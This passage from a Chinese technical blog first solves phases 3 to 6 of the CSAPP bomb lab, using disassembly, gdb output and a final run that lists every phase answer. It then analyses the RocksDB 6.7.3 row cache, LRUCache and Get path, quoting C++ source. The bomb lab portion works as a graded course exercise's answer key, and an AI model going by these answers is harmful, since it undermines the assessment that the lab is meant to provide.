可以判断，在 phase_3 中，我们需要输入两个数。再观察以下代码：

1
2
14cb:	83 3c 24 07          	cmpl   $0x7,(%rsp)
14cf:	77 4b                	ja     151c <phase_3+0x7e>

我们输入的第一个数不能大于 7。再向下看：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
14db:	48 63 04 82          	movslq (%rdx,%rax,4),%rax
14df:	48 01 d0             	add    %rdx,%rax
14e2:	ff e0                	jmpq   *%rax
14e4:	e8 32 05 00 00       	callq  1a1b <explode_bomb>
14e9:	eb e0                	jmp    14cb <phase_3+0x2d>
14eb:	b8 ab 00 00 00       	mov    $0xab,%eax
14f0:	eb 3b                	jmp    152d <phase_3+0x8f>
14f2:	b8 ea 01 00 00       	mov    $0x1ea,%eax
14f7:	eb 34                	jmp    152d <phase_3+0x8f>
...
...
152d:	39 44 24 04          	cmp    %eax,0x4(%rsp)
1531:	75 15                	jne    1548 <phase_3+0xaa>
1533:	48 8b 44 24 08       	mov    0x8(%rsp),%rax
1538:	64 48 33 04 25 28 00 	xor    %fs:0x28,%rax
153f:	00 00 
1541:	75 0c                	jne    154f <phase_3+0xb1>
1543:	48 83 c4 18          	add    $0x18,%rsp
1547:	c3                   	retq   
1548:	e8 ce 04 00 00       	callq  1a1b <explode_bomb>
154d:	eb e4                	jmp    1533 <phase_3+0x95>
154f:	e8 2c fb ff ff       	callq  1080 <__stack_chk_fail@plt>

可以看到这是 switch 的特征，根据 %rax 中的地址进行跳转，跳转后将数存入 %eax 中， 再跳入 152d 处将数与输入的第二个参数进行比较，如果不相等则触发炸弹爆炸。
在这里我输入的第一个参数为 1，用 gdb 调试，查看 %rax 存储的地址：

1
2
(gdb) i r rax
rax            0x80014eb        134223083

这里将跳转至 14eb 处，即输入的第二个参数应该是 0xab，才不会发生爆炸。因此，第三关答案为 1 171 (答案不唯一)。

bomb 4

和 phase_3 一样，接收两个参数：

1
2
15b9:	83 f8 02             	cmp    $0x2,%eax
15bc:	75 06                	jne    15c4 <phase_4+0x33>

并且第一个参数不能大于 15：

1
2
15be:	83 3c 24 0e          	cmpl   $0xe,(%rsp)
15c2:	76 05                	jbe    15c9 <phase_4+0x38>

func4 的返回值必须要等于 3，并且第二个参数也要等于 3，负责触发炸弹爆炸：

1
2
3
4
5
6
7
8
9
10
11
15c9:	ba 0e 00 00 00       	mov    $0xe,%edx
15ce:	be 00 00 00 00       	mov    $0x0,%esi
15d3:	8b 3c 24             	mov    (%rsp),%edi
15d6:	e8 79 ff ff ff       	callq  1554 <func4>
15db:	83 f8 03             	cmp    $0x3,%eax
15de:	75 07                	jne    15e7 <phase_4+0x56>
15e0:	83 7c 24 04 03       	cmpl   $0x3,0x4(%rsp)
15e5:	74 05                	je     15ec <phase_4+0x5b>
15e7:	e8 2f 04 00 00       	callq  1a1b <explode_bomb>
15ec:	48 8b 44 24 08       	mov    0x8(%rsp),%rax
15f1:	64 48 33 04 25 28 00 	xor    %fs:0x28,%rax

再看看 func4：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0000000000001554 <func4>:
    1554:	48 83 ec 08          	sub    $0x8,%rsp
    1558:	89 d0                	mov    %edx,%eax
    155a:	29 f0                	sub    %esi,%eax
    155c:	89 c1                	mov    %eax,%ecx
    155e:	c1 e9 1f             	shr    $0x1f,%ecx
    1561:	01 c1                	add    %eax,%ecx
    1563:	d1 f9                	sar    %ecx
    1565:	01 f1                	add    %esi,%ecx
    1567:	39 f9                	cmp    %edi,%ecx
    1569:	7f 0c                	jg     1577 <func4+0x23>
    156b:	b8 00 00 00 00       	mov    $0x0,%eax
    1570:	7c 11                	jl     1583 <func4+0x2f>
    1572:	48 83 c4 08          	add    $0x8,%rsp
    1576:	c3                   	retq   
    1577:	8d 51 ff             	lea    -0x1(%rcx),%edx
    157a:	e8 d5 ff ff ff       	callq  1554 <func4>
    157f:	01 c0                	add    %eax,%eax
    1581:	eb ef                	jmp    1572 <func4+0x1e>
    1583:	8d 71 01             	lea    0x1(%rcx),%esi
    1586:	e8 c9 ff ff ff       	callq  1554 <func4>
    158b:	8d 44 00 01          	lea    0x1(%rax,%rax,1),%eax
    158f:	eb e1                	jmp    1572 <func4+0x1e>

说几个值得注意的点：

1
2
3
4
5
6
155a:	29 f0                	sub    %esi,%eax
155c:	89 c1                	mov    %eax,%ecx
155e:	c1 e9 1f             	shr    $0x1f,%ecx
1561:	01 c1                	add    %eax,%ecx
1563:	d1 f9                	sar    %ecx
1565:	01 f1                	add    %esi,%ecx

这几行的意思是，如果 %eax < %esi 的话，%ecx = (%eax - %esi + 1) / 2 + %esi = (%eax + %esi + 1) / 2，否则 %ecx = (%eax + %esi) / 2。接下来再看：

1
2
3
4
5
1567:	39 f9                	cmp    %edi,%ecx
1569:	7f 0c                	jg     1577 <func4+0x23>
156b:	b8 00 00 00 00       	mov    $0x0,%eax
1570:	7c 11                	jl     1583 <func4+0x2f>
1572:	48 83 c4 08          	add    $0x8,%rsp

只有当 %edi = %ecx 时，函数才会退出。最后再看：

1
2
3
4
5
6
7
8
1577:	8d 51 ff             	lea    -0x1(%rcx),%edx
157a:	e8 d5 ff ff ff       	callq  1554 <func4>
157f:	01 c0                	add    %eax,%eax
1581:	eb ef                	jmp    1572 <func4+0x1e>
1583:	8d 71 01             	lea    0x1(%rcx),%esi
1586:	e8 c9 ff ff ff       	callq  1554 <func4>
158b:	8d 44 00 01          	lea    0x1(%rax,%rax,1),%eax
158f:	eb e1                	jmp    1572 <func4+0x1e>

这段代码也就是修改 %rcx 的值，传递参数，递归调用。整个 func4 汇编代码用 Python 表示可以是：

1
2
3
4
5
6
7
8
9
10
11
12
def func4(a, c, d):
    if d < c:
        b = (d + c + 1) / 2
    else:
        b = (d + c) / 2
    
    if b < a:
        return func4(a, b+1, d)*2 + 1
    if b > a:
        return func4(a, c, b-1)*2
    else:
        return 0

因此，第四关答案为 13 3 或者 12 3。

bomb 5

与 phase_3 类似，首先我们知道输入的数至少有2个：

1
2
3
1629:	e8 f2 fa ff ff       	callq  1120 <__isoc99_sscanf@plt>
162e:	83 f8 01             	cmp    $0x1,%eax
1631:	7e 5a                	jle    168d <phase_5+0x87>

然后我们输入的一个参数的二进制后四位不能为1111(15)：

1
2
3
4
5
1633:	8b 04 24             	mov    (%rsp),%eax
1636:	83 e0 0f             	and    $0xf,%eax
1639:	89 04 24             	mov    %eax,(%rsp)
163c:	83 f8 0f             	cmp    $0xf,%eax
163f:	74 32                	je     1673 <phase_5+0x6d>

接下来分析数组，用 gdb 调试：

1
2
3
4
(gdb) p/x *(int *)($rsi)@100
$1 = {0xa, 0x2, 0xe, 0x7, 0x8, 0xc, 0xf, 0xb, 0x0, 0x4, 0x1, 0xd, 0x3, 0x9, 0x6, 0x5, 0x79206f53, ......}
(gdb) p *$rsi@16
$2 = {10, 2, 14, 7, 8, 12, 15, 11, 0, 4, 1, 13, 3, 9, 6, 5}

这个数组一共有 16 位，数组中的元素为 {10, 2, 14, 7, 8, 12, 15, 11, 0, 4, 1, 13, 3, 9, 6, 5}。
接下来的汇编代码表示一个循环，寄存器 %edx 初值定为 0，每次循环加 1，根据后面 cmp 0xf, %edx 可以得出，循环必须执行 15 次；同时ecx寄存器不断的累加数，每次把一个数的值存到 %eax 寄存器中，并且作为下次取值的索引，即对于每对索引 i 和值 v 而言，下一个 v' 位于索引 v 处，相当于构成了一个环形链表。另外，传入的第一个参数不能为 15，并且在遍历过程中，根据 cmp $0xf,%eax，%eax 也不能等于15。索引 15 对应的值为 5， 因此，传入的第一个参数必须是 5，累加循环从索引 5 对应的值开始，这样才能保证能够循环 15 次，对 15 个遍历到的值进行累加，累加和为 (0 + 15) * 16 / 2 -5 = 115。
因此，第五关答案为 5 115。

bomb 6

phase_6 汇编代码太多，需要花费一定的时间。
首先，进入函数做一些初始化的工作后，根据 jmpq 177a <phase_6+0xe1> ，函数会跳转到 177a 处执行：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
175d:	48 83 c3 01          	add    $0x1,%rbx
1761:	83 fb 05             	cmp    $0x5,%ebx
1764:	7f 0c                	jg     1772 <phase_6+0xd9>
1766:	41 8b 44 9d 00       	mov    0x0(%r13,%rbx,4),%eax
176b:	39 45 00             	cmp    %eax,0x0(%rbp)
176e:	75 ed                	jne    175d <phase_6+0xc4>
1770:	eb e6                	jmp    1758 <phase_6+0xbf>
1772:	49 83 c7 01          	add    $0x1,%r15
1776:	49 83 c6 04          	add    $0x4,%r14
177a:	4c 89 f5             	mov    %r14,%rbp
177d:	41 8b 06             	mov    (%r14),%eax
1780:	83 e8 01             	sub    $0x1,%eax
1783:	83 f8 05             	cmp    $0x5,%eax
1786:	0f 87 47 ff ff ff    	ja     16d3 <phase_6+0x3a>
178c:	49 83 ff 06          	cmp    $0x6,%r15
1790:	0f 84 47 ff ff ff    	je     16dd <phase_6+0x44>
1796:	4c 89 fb             	mov    %r15,%rbx
1799:	eb cb                	jmp    1766 <phase_6+0xcd>

从 177a 处开始看起，首先会判断传入的第一个参数减 1 后是否大于 5，也就是这里需要保证参数不能超过 6。之后跳入 1766 处执行，1766 -> 176e -> 175d -> 1766 构成了一个循环，判断当前参数的后面几个参数是否与当前参数相等，相等则炸弹爆炸。 然后跳到 1772 处执行，判断第二个参数减 1 后是否大于 5……即整个这一部分代码是一个大循环，来保证 6 个参数不大于 6，并且各不相等。
接下来，函数会跳到 16dd 处执行：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
16dd:	48 8d 74 24 20       	lea    0x20(%rsp),%rsi
16e2:	49 8d 7c 24 18       	lea    0x18(%r12),%rdi
16e7:	41 8b 0c 24          	mov    (%r12),%ecx
16eb:	b8 01 00 00 00       	mov    $0x1,%eax
16f0:	48 8d 15 19 3b 00 00 	lea    0x3b19(%rip),%rdx        # 5210 <node1>
16f7:	83 f9 01             	cmp    $0x1,%ecx
16fa:	7e 0b                	jle    1707 <phase_6+0x6e>
16fc:	48 8b 52 08          	mov    0x8(%rdx),%rdx
1700:	83 c0 01             	add    $0x1,%eax
1703:	39 c8                	cmp    %ecx,%eax
1705:	75 f5                	jne    16fc <phase_6+0x63>
1707:	48 89 16             	mov    %rdx,(%rsi)
170a:	49 83 c4 04          	add    $0x4,%r12
170e:	48 83 c6 08          	add    $0x8,%rsi
1712:	4c 39 e7             	cmp    %r12,%rdi
1715:	75 d0                	jne    16e7 <phase_6+0x4e>

我们输入的参数数组存放在 %r12 中，根据 lea 0x18(%r12),%rdi 可以得出，%rdi 存放了数组的结束地址。这段代码做的就是根据我们输入的参数将 node 按照顺序放入栈中：

1
2
3
4
5
6
7
for(int i = 0; i < 6; i++)
{
    %rdx = 0x3b19(%rip);
    for(int j = 0; j < arr[i]; j++)
        %rdx = addr + 0x8;
    %rsi = *%rdx;
}

再看之后的代码，将 %rax 指向 %rbx 下一个链表节点：

1
2
3
4
1717:	48 8b 5c 24 20       	mov    0x20(%rsp),%rbx
171c:	48 8b 44 24 28       	mov    0x28(%rsp),%rax
1721:	48 89 43 08          	mov    %rax,0x8(%rbx)
...

最后，比较链表节点中第一个字段值的大小，如果前一个节点值小于后一个节点值，炸弹爆炸：

1
2
3
4
5
6
7
8
179b:	48 8b 5b 08          	mov    0x8(%rbx),%rbx
179f:	83 ed 01             	sub    $0x1,%ebp
17a2:	74 11                	je     17b5 <phase_6+0x11c>
17a4:	48 8b 43 08          	mov    0x8(%rbx),%rax
17a8:	8b 00                	mov    (%rax),%eax
17aa:	39 03                	cmp    %eax,(%rbx)
17ac:	7d ed                	jge    179b <phase_6+0x102>
17ae:	e8 68 02 00 00       	callq  1a1b <explode_bomb>

在此我们知道数据是根据每个节点中的第一个数升序排列。
所以只需要查看初始链表存储的数据即可得出答案：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(gdb) i r rdx
rdx            0x8005210        134238736
(gdb) p *134238736
$1 = 581
(gdb) p *134238752
$2 = 563
(gdb) p *134238768
$3 = 687
(gdb) p *134238784
$4 = 154
(gdb) p *134238800
$5 = 170
(gdb) p *134238808
$6 = 134238480
(gdb) p *134238480
$7 = 454

链表节点的值为 581 563 687 154 170 454，由大到小排序的节点编号 3 1 2 6 5 4 即为第六关答案。

最终结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
hey-kong@LAPTOP-9010T96A:/mnt/c/ubuntu/csapp/bomb65$ ./bomb
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
I am just a renegade hockey mom.
Phase 1 defused. How about the next one?
0 1 1 2 3 5
That's number 2.  Keep going!
1 171
Halfway there!
13 3
So you got that one.  Try this one.
5 115
Good work!  On to the next...
3 1 2 6 5 4
Congratulations! You've defused the bomb!

repo

My solutions to CSAPP labs

Gepostet vor 7 minutes lesen (Über 1065 Wörter)

从 Row Cache 的 Get 来看 Rocksdb LRUCache

本文简单介绍 RocksDB 6.7.3 版本的 LRUCache。

Row Cache

Row Cache 对查找的 key 在 SST 中对应的 value 进行 cache。如果 row_cache 打开，在 TableCache::Get 函数中，会调用 CreateRowCacheKeyPrefix 和 GetFromRowCache 获取 row cache 的 key（fd_number + seq_no + user_key），在 GetFromRowCache 中，会调用 row_cache->Lookup，得到 row cache 缓存的 row_handle，构造 found_row_cache_entry 指针指向 value，利用 Cleannable 类的特性，可以通过减少一次对 value 内存拷贝的方式来获取最终的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
Status TableCache::Get(const ReadOptions& options,
                       const InternalKeyComparator& internal_comparator,
                       const FileMetaData& file_meta, const Slice& k,
                       GetContext* get_context,
                       const SliceTransform* prefix_extractor,
                       HistogramImpl* file_read_hist, bool skip_filters,
                       int level) {
  ...
  if (ioptions_.row_cache && !get_context->NeedToReadSequence()) {
    auto user_key = ExtractUserKey(k);
    CreateRowCacheKeyPrefix(options, fd, k, get_context, row_cache_key);
    done = GetFromRowCache(user_key, row_cache_key, row_cache_key.Size(),
                           get_context);
    if (!done) {
      row_cache_entry = &row_cache_entry_buffer;
    }
  }
  ...
}

void TableCache::CreateRowCacheKeyPrefix(const ReadOptions& options,
                                         const FileDescriptor& fd,
                                         const Slice& internal_key,
                                         GetContext* get_context,
                                         IterKey& row_cache_key) {
  uint64_t fd_number = fd.GetNumber();
  uint64_t seq_no = 0;
  ...
  AppendVarint64(&row_cache_key, fd_number);
  AppendVarint64(&row_cache_key, seq_no);
}

bool TableCache::GetFromRowCache(const Slice& user_key, IterKey& row_cache_key,
                                 size_t prefix_size, GetContext* get_context) {
  bool found = false;

  row_cache_key.TrimAppend(prefix_size, user_key.data(), user_key.size());
  if (auto row_handle =
          ioptions_.row_cache->Lookup(row_cache_key.GetUserKey())) {
    // Cleanable routine to release the cache entry
    Cleanable value_pinner;
    auto release_cache_entry_func = [](void* cache_to_clean,
                                       void* cache_handle) {
      ((Cache*)cache_to_clean)->Release((Cache::Handle*)cache_handle);
    };
    auto found_row_cache_entry =
        static_cast<const std::string*>(ioptions_.row_cache->Value(row_handle));
    // If it comes here value is located on the cache.
    // found_row_cache_entry points to the value on cache,
    // and value_pinner has cleanup procedure for the cached entry.
    // After replayGetContextLog() returns, get_context.pinnable_slice_
    // will point to cache entry buffer (or a copy based on that) and
    // cleanup routine under value_pinner will be delegated to
    // get_context.pinnable_slice_. Cache entry is released when
    // get_context.pinnable_slice_ is reset.
    value_pinner.RegisterCleanup(release_cache_entry_func,
                                 ioptions_.row_cache.get(), row_handle);
    replayGetContextLog(*found_row_cache_entry, user_key, get_context,
                        &value_pinner);
    RecordTick(ioptions_.statistics, ROW_CACHE_HIT);
    found = true;
  } else {
    RecordTick(ioptions_.statistics, ROW_CACHE_MISS);
  }
  return found;
}

LRUCache 类

  • Cache
    定义了 Cache 的接口，包括 Insert, Lookup, Release 等操作。

  • ShardedCache
    支持对 Cache 进行分桶，分桶数量为 2^num_shard_bits，每个桶的容量相等。分桶的依据是取 key 的 hash 值的高 num_shard_bits 位。

  • LRUCache
    实现了 ShardedCache，维护了一个 LRUCacheShard 数组，一个 shard 就是一个桶。

  • CacheShard
    定义了一个桶的接口，包括 Insert, Lookup, Release 等操作，Cache 的相关调用经过分桶处理后，都会调用指定桶的对应操作。

  • LRUCacheShard
    实现了 CacheShard，维护了一个 LRU list 和 hash table，用来实现 LRU 策略，他们的成员类型都是 LRUHandle。

  • LRUHandle
    保存 key 和 value 的单元，并且包含前向和后续指针，可以组成双向循环链表作为 LRU list。

  • LRUHandleTable
    hash table 的实现，根据 key 再次做了分组处理，并且尽量保证每个桶中只有一个元素，元素类型为 LRUHandle。提供了Lookup, Insert, Remove操作。

Lookup

在 GetFromRowCache 中，会调用 row_cache->Lookup，这里实际调用的是 ShardedCache::Lookup

1
2
3
4
Cache::Handle* ShardedCache::Lookup(const Slice& key, Statistics* /*stats*/) {
  uint32_t hash = HashSlice(key);
  return GetShard(Shard(hash))->Lookup(key, hash);
}

获取哈希值，根据 hash 值的高 num_shard_bits 位获取 shard，再调用 LRUCacheShard::Lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Cache::Handle* LRUCacheShard::Lookup(const Slice& key, uint32_t hash) {
  MutexLock l(&mutex_);
  LRUHandle* e = table_.Lookup(key, hash);
  if (e != nullptr) {
    assert(e->InCache());
    if (!e->HasRefs()) {
      // The entry is in LRU since it's in hash and has no external references
      LRU_Remove(e);
    }
    e->Ref();
    e->SetHit();
  }
  return reinterpret_cast<Cache::Handle*>(e);
}

LRUCacheShard::Lookup 中又会调用 LRUHandleTable::Lookup，在 FindPointer 中，hash 到特定位置后，如果当前位置的 hash 和当前 hash 不一样，或者 key 不一样，并且指针也不为空，则继续向下找，直到找到

1
2
3
4
5
6
7
8
9
10
11
LRUHandle* LRUHandleTable::Lookup(const Slice& key, uint32_t hash) {
  return *FindPointer(key, hash);
}

LRUHandle** LRUHandleTable::FindPointer(const Slice& key, uint32_t hash) {
  LRUHandle** ptr = &list_[hash & (length_ - 1)];
  while (*ptr != nullptr && ((*ptr)->hash != hash || key != (*ptr)->key())) {
    ptr = &(*ptr)->next_hash;
  }
  return ptr;
}

总结

LRUCache 就是把多个 LRUCacheShard 组合起来，每个 LRUCacheShard 维护了一个 LRUHandle list 和 hash table，LRUHandleTable 用拉链法实现哈希表。通过对缓存的 Lookup 调用链分析可以看到具体的实现非常简练。

参考

  1. Rocksdb Source Code 6.7.3
  2. RocksDB. LRUCache源码分析
  3. RocksDB中的LRUCache
Gepostet vor 14 minutes lesen (Über 2102 Wörter)

RocksDB Get 流程

本文对 RocksDB 6.7.3 版本的 Get 流程进行分析。

概述

(1) 获取当前的 SuperVersion。SuperVersion 用于管理 CF 的元数据，如当前版本号、内存中的 MemTable 和 Immutable MemTable、SST 文件信息等: 

1
2
3
4
5
6
Struct SuperVersion {
    MemTable*            mem;
    MemTableListVersion* imm;
    Version*             current;
    ...
}

(2) 从内存读: 尝试从第一步 SuperVersion 中引用的 MemTable 以及Immutable MemTable 中获取对应的值

(3) 从持久化设备读: 首先通过 Table cache 获取到文件的元数据，如布隆过滤器(Bloom Filters)和数据块索引(Indexes)， 如果 Block cache 中缓存了 SST 的数据块，如果命中那就直接读取成功，否则便需要从 SST 中读取数据块并插入到 Block cache

源码分析

DBImpl::Get

1
2
3
4
5
6
7
8
Status DBImpl::Get(const ReadOptions& read_options,
                   ColumnFamilyHandle* column_family, const Slice& key,
                   PinnableSlice* value) {
  GetImplOptions get_impl_options;
  get_impl_options.column_family = column_family;
  get_impl_options.value = value;
  return GetImpl(read_options, key, get_impl_options);
}

Rocksdb 的 Get 接口 DBImpl::Get 其实现主要靠 DBImpl::GetImpl 函数调用。

DBImpl::GetImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Status DBImpl::GetImpl(const ReadOptions& read_options, const Slice& key,
  ...
  SuperVersion* sv = GetAndRefSuperVersion(cfd);
  ...
  SequenceNumber snapshot;
  if (read_options.snapshot != nullptr) {
    if (get_impl_options.callback) {
      snapshot = get_impl_options.
    } else {
      snapshot =
          reinterpret_cast<const SnapshotImpl*>(read_options.snapshot)->number_;
    }
  } else {
    ....
    snapshot = last_seq_same_as_publish_seq_
                   ? versions_->LastSequence()
                   : versions_->LastPublishedSequence();
    ...
    }
  }
  ...
  if (!skip_memtable) {
    ...
      if (sv->mem->Get(lkey, get_impl_options.value->GetSelf(), &s,
                       &merge_context, &max_covering_tombstone_seq,
                       read_options, get_impl_options.callback,
                       get_impl_options.is_blob_index)) {
        ...
      } else if ((s.ok() || s.IsMergeInProgress()) &&
                 sv->imm->Get(lkey, get_impl_options.value->GetSelf(), &s,
                              &merge_context, &max_covering_tombstone_seq,
                              read_options, get_impl_options.callback,
                              get_impl_options.is_blob_index)) {
        ...
      }
    ...
  }
  if (!done) {
    sv->current->Get(
        read_options, lkey, get_impl_options.value, &s, &merge_context,
        &max_covering_tombstone_seq,
        get_impl_options.get_value ? get_impl_options.value_found : nullptr,
        nullptr, nullptr,
        get_impl_options.get_value ? get_impl_options.callback : nullptr,
        get_impl_options.get_value ? get_impl_options.is_blob_index : nullptr,
        get_impl_options.get_value);
    ...
  }
  ...
}

DBImpl::GetImpl 获取 SuperVersion 的信息，如果用户未指定 snapshot，需要获取当前的 snapshot。读取时不对 key 加锁，能读到什么数据完全取决于 Options 传入的 snapshot。

SuperVersion 中按照数据的新旧程度排序 MemTable -> MemTableListVersion -> Version，依次按序查找，如果在新的数据中找到符合 snapshot 规则的结果，就可以立即返回，完成本次查找。

MemTable::Get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
bool MemTable::Get(const LookupKey& key, std::string* value, Status* s,
                   MergeContext* merge_context,
                   SequenceNumber* max_covering_tombstone_seq,
                   SequenceNumber* seq, const ReadOptions& read_opts,
                   ReadCallback* callback, bool* is_blob_index, bool do_merge) {
  ...

  if (bloom_filter_ && !may_contain) {
    // iter is null if prefix bloom says the key does not exist
    PERF_COUNTER_ADD(bloom_memtable_miss_count, 1);
    *seq = kMaxSequenceNumber;
  } else {
    if (bloom_filter_) {
      PERF_COUNTER_ADD(bloom_memtable_hit_count, 1);
    }
    GetFromTable(key, *max_covering_tombstone_seq, do_merge, callback,
                 is_blob_index, value, s, merge_context, seq,
                 &found_final_value, &merge_in_progress);
  }

  ...
}

void MemTable::GetFromTable(const LookupKey& key,
                            SequenceNumber max_covering_tombstone_seq,
                            bool do_merge, ReadCallback* callback,
                            bool* is_blob_index, std::string* value, Status* s,
                            MergeContext* merge_context, SequenceNumber* seq,
                            bool* found_final_value, bool* merge_in_progress) {
  ...
  table_->Get(key, &saver, SaveValue);
  *seq = saver.seq;
}

利用 MemTableRep 的 Get 函数进行查找（以 SkipListRep 实现为例，在 skiplist 中进行查找，从 seek 到的位置开始向后遍历，遍历 entry 是否符合SaveValue 定义的规则）。SaveValue 函数查看当前 entry 是否还是当前查找的 key，如果不是则返回；查看当前 entry 的 snapshot 是否小于或等于需要查找的 snapshot，不符合则继续循环。如果 entry 的snapshot 符合上述条件，那么则跳出循环，返回查找结果。

MemTableListVersion::Get

1
2
3
4
5
6
7
8
9
bool Get(const LookupKey& key, std::string* value, Status* s,
        MergeContext* merge_context,
        SequenceNumber* max_covering_tombstone_seq,
        const ReadOptions& read_opts, ReadCallback* callback = nullptr,
        bool* is_blob_index = nullptr) {
    SequenceNumber seq;
    return Get(key, value, s, merge_context, max_covering_tombstone_seq, &seq,
                read_opts, callback, is_blob_index);
}

MemTableListVersion 用链表的形式保存了所有 Immutable memtable 的结构，查找时，按时间序依次查找于每一个 memtable，如果任何一个 memtable 查找到结果则立即返回，即返回最新的返回值。具体 memtable 查找见上述 MemTable::Get 接口。

Version::Get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void Version::Get(const ReadOptions& read_options, const LookupKey& k,
                  PinnableSlice* value, Status* status,
                  MergeContext* merge_context,
                  SequenceNumber* max_covering_tombstone_seq, bool* value_found,
                  bool* key_exists, SequenceNumber* seq, ReadCallback* callback,
                  bool* is_blob, bool do_merge) {
  ...
  FilePicker fp(
      storage_info_.files_, user_key, ikey, &storage_info_.level_files_brief_,
      storage_info_.num_non_empty_levels_, &storage_info_.file_indexer_,
      user_comparator(), internal_comparator());
  FdWithKeyRange* f = fp.GetNextFile();

  while (f != nullptr) {
    ...
    *status = table_cache_->Get(
        read_options, *internal_comparator(), *f->file_metadata, ikey,
        &get_context, mutable_cf_options_.prefix_extractor.get(),
        cfd_->internal_stats()->GetFileReadHist(fp.GetHitFileLevel()),
        IsFilterSkipped(static_cast<int>(fp.GetHitFileLevel()),
                        fp.IsHitFileLastInLevel()),
        fp.GetCurrentLevel());
    ...
    f = fp.GetNextFile();
  }
  ...
}

GetNextFile 函数会遍历所有的 level，然后再遍历每个 level 的所有的文件，这里会对 level 0 的文件做一个特殊处理，这是因为只有 level 0 的 SST 的 range 不是有序的，因此我们每次查找需要查找所有的文件，也就是会一个个的遍历；而在非 level 0，我们只需要按照二分查找来得到对应的文件即可，如果二分查找不存在，那么我就需要进入下一个 level 进行查找。

调用 TableCache::Get 遍历单个 SST 文件，如果查找到结果立即返回。

TableCache::Get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
Status TableCache::Get(const ReadOptions& options,
                       const InternalKeyComparator& internal_comparator,
                       const FileMetaData& file_meta, const Slice& k,
                       GetContext* get_context,
                       const SliceTransform* prefix_extractor,
                       HistogramImpl* file_read_hist, bool skip_filters,
                       int level) {
  auto& fd = file_meta.fd;
  std::string* row_cache_entry = nullptr;
  bool done = false;
#ifndef ROCKSDB_LITE
  IterKey row_cache_key;
  std::string row_cache_entry_buffer;

  // Check row cache if enabled. Since row cache does not currently store
  // sequence numbers, we cannot use it if we need to fetch the sequence.
  if (ioptions_.row_cache && !get_context->NeedToReadSequence()) {
    auto user_key = ExtractUserKey(k);
    CreateRowCacheKeyPrefix(options, fd, k, get_context, row_cache_key);
    done = GetFromRowCache(user_key, row_cache_key, row_cache_key.Size(),
                           get_context);
    if (!done) {
      row_cache_entry = &row_cache_entry_buffer;
    }
  }
#endif  // ROCKSDB_LITE
  Status s;
  TableReader* t = fd.table_reader;
  Cache::Handle* handle = nullptr;
  if (!done && s.ok()) {
    if (t == nullptr) {
      s = FindTable(
          file_options_, internal_comparator, fd, &handle, prefix_extractor,
          options.read_tier == kBlockCacheTier /* no_io */,
          true /* record_read_stats */, file_read_hist, skip_filters, level);
      if (s.ok()) {
        t = GetTableReaderFromHandle(handle);
      }
    }
    SequenceNumber* max_covering_tombstone_seq =
        get_context->max_covering_tombstone_seq();
    if (s.ok() && max_covering_tombstone_seq != nullptr &&
        !options.ignore_range_deletions) {
      std::unique_ptr<FragmentedRangeTombstoneIterator> range_del_iter(
          t->NewRangeTombstoneIterator(options));
      if (range_del_iter != nullptr) {
        *max_covering_tombstone_seq = std::max(
            *max_covering_tombstone_seq,
            range_del_iter->MaxCoveringTombstoneSeqnum(ExtractUserKey(k)));
      }
    }
    if (s.ok()) {
      get_context->SetReplayLog(row_cache_entry);  // nullptr if no cache.
      s = t->Get(options, k, get_context, prefix_extractor, skip_filters);
      get_context->SetReplayLog(nullptr);
    } else if (options.read_tier == kBlockCacheTier && s.IsIncomplete()) {
      // Couldn't find Table in cache but treat as kFound if no_io set
      get_context->MarkKeyMayExist();
      s = Status::OK();
      done = true;
    }
  }

#ifndef ROCKSDB_LITE
  // Put the replay log in row cache only if something was found.
  if (!done && s.ok() && row_cache_entry && !row_cache_entry->empty()) {
    size_t charge =
        row_cache_key.Size() + row_cache_entry->size() + sizeof(std::string);
    void* row_ptr = new std::string(std::move(*row_cache_entry));
    ioptions_.row_cache->Insert(row_cache_key.GetUserKey(), row_ptr, charge,
                                &DeleteEntry<std::string>);
  }
#endif  // ROCKSDB_LITE

  if (handle != nullptr) {
    ReleaseHandle(handle);
  }
  return s;
}

Status TableCache::FindTable(const FileOptions& file_options,
                             const InternalKeyComparator& internal_comparator,
                             const FileDescriptor& fd, Cache::Handle** handle,
                             const SliceTransform* prefix_extractor,
                             const bool no_io, bool record_read_stats,
                             HistogramImpl* file_read_hist, bool skip_filters,
                             int level,
                             bool prefetch_index_and_filter_in_cache) {
  ...
    std::unique_ptr<TableReader> table_reader;
    s = GetTableReader(file_options, internal_comparator, fd,
                       false /* sequential mode */, record_read_stats,
                       file_read_hist, &table_reader, prefix_extractor,
                       skip_filters, level, prefetch_index_and_filter_in_cache);
    if (!s.ok()) {
      assert(table_reader == nullptr);
      RecordTick(ioptions_.statistics, NO_FILE_ERRORS);
      // We do not cache error results so that if the error is transient,
      // or somebody repairs the file, we recover automatically.
    } else {
      s = cache_->Insert(key, table_reader.get(), 1, &DeleteEntry<TableReader>,
                         handle);
      if (s.ok()) {
        // Release ownership of table reader.
        table_reader.release();
      }
  ...
  return s;
}

